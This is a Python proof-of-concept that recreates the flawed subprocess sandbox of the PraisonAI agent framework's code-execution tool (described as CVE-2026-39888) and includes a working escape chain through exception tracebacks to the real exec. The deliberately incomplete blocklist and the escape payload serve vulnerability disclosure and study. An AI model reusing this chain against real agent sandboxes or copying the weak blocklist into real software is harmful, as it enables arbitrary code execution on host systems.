Vulnerable code sample

import ast
import sys
from multiprocessing import Process, Pipe

# This is a simplified representation of the vulnerable PraisonAI code prior to version 1.5.115
# It recreates the flawed sandboxing mechanism described in CVE-2026-39888.

# The AST blocklist for the subprocess sandbox, which is missing key attributes.
# This is the core of the vulnerability. It's a subset of a more complete list
# used in other parts of the original library.
# Specifically, it's missing: '__traceback__', 'tb_frame', 'f_back', 'f_builtins'
BLOCKED_ATTRS = {
    "__subclasses__",
    "__builtins__",
    "__globals__",
    "__getattribute__",
    "__dict__",
    "__bases__",
    "__mro__",
    "__init__",
    "__import__",
    "__getstate__",
    "__setstate__",
}

class ASTChecker(ast.NodeVisitor):
    """
    A simple AST visitor to check for blocked attribute access.
    """
    def __init__(self):
        self.blocked = False
        self.blocked_attribute = None

    def visit_Attribute(self, node):
        if isinstance(node.ctx, ast.Load) and node.attr in BLOCKED_ATTRS:
            self.blocked = True
            self.blocked_attribute = node.attr
        self.generic_visit(node)


def _subprocess_worker(conn):
    """
    The target function that runs in a separate process. It sets up the
    flawed sandbox and executes the code received through the pipe.
    """
    try:
        # 1. Receive the code from the main process
        code_to_run = conn.recv()

        # 2. Set up a restricted __builtins__ dictionary for the `exec` context
        restricted_builtins = {
            k: v for k, v in __builtins__.items() if k not in [
                'exec', 'eval', 'open', 'exit', 'quit', 'help', 'input', '__import__'
            ]
        }
        
        # 3. Perform the flawed AST check
        try:
            tree = ast.parse(code_to_run)
            checker = ASTChecker()
            checker.visit(tree)
            if checker.blocked:
                raise PermissionError(f"Access to attribute '{checker.blocked_attribute}' is denied.")
        except Exception as e:
            print(f"[Sandbox] AST Check Failed: {e}", file=sys.stderr)
            return

        # 4. Execute the code within the restricted context
        # The `exec` is run within this function's frame. The exploit will
        # break out of the `globals` dict and access this frame's `f_builtins`.
        exec(code_to_run, {"__builtins__": restricted_builtins})

    except Exception as e:
        print(f"[Sandbox] An error occurred: {e}", file=sys.stderr)
    finally:
        conn.close()


def execute_code(code: str, sandbox_mode: str = "sandbox"):
    """
    This function mimics the vulnerable `execute_code` from praisonaiagents.tools.python_tools.
    When `sandbox_mode` is "sandbox", it runs the code in a subprocess with the flawed security.
    """
    if sandbox_mode == "sandbox":
        print("[System] Running code in 'sandbox' mode (subprocess)...")
        parent_conn, child_conn = Pipe()
        p = Process(target=_subprocess_worker, args=(child_conn,))
        p.start()
        parent_conn.send(code)
        p.join()
        parent_conn.close()
    else:
        # The non-sandboxed path is not relevant to the CVE but included for structure.
        print("[System] Running code directly...")
        exec(code)


if __name__ == '__main__':
    # This is the malicious code that exploits the vulnerability.
    # It follows the exact chain described in the CVE.
    exploit_code = """
import sys
import os

print("[Payload] Running inside the sandbox...")
try:
    # 1. Cause an exception to get access to a traceback object.
    1 / 0
except Exception as e:
    print("[Payload] Caught exception. Starting exploit chain...")
    try:
        # 2. Chain the unblocked attributes to escape the restricted builtins.
        # e.__traceback__ -> tb_frame -> f_back -> f_builtins
        # This accesses the __builtins__ of the _subprocess_worker's frame.
        frame = e.__traceback__.tb_frame
        worker_frame = frame.f_back
        real_builtins = worker_frame.f_builtins

        # 3. Retrieve the real `exec` function from the frame's builtins.
        real_exec = real_builtins['exec']
        print("[Payload] Successfully retrieved real 'exec'.")

        # 4. Use the real `exec` to run arbitrary code, bypassing the sandbox.
        # The AST check was already done, so this is not checked again.
        print("[Payload] Executing arbitrary command...")
        real_exec('import os; os.system("echo VULNERABILITY_CONFIRMED: Code execution achieved.")')

    except Exception as exploit_err:
        print(f"[Payload] Exploit failed: {exploit_err}", file=sys.stderr)
"""

    # Demonstrate the vulnerability
    execute_code(exploit_code)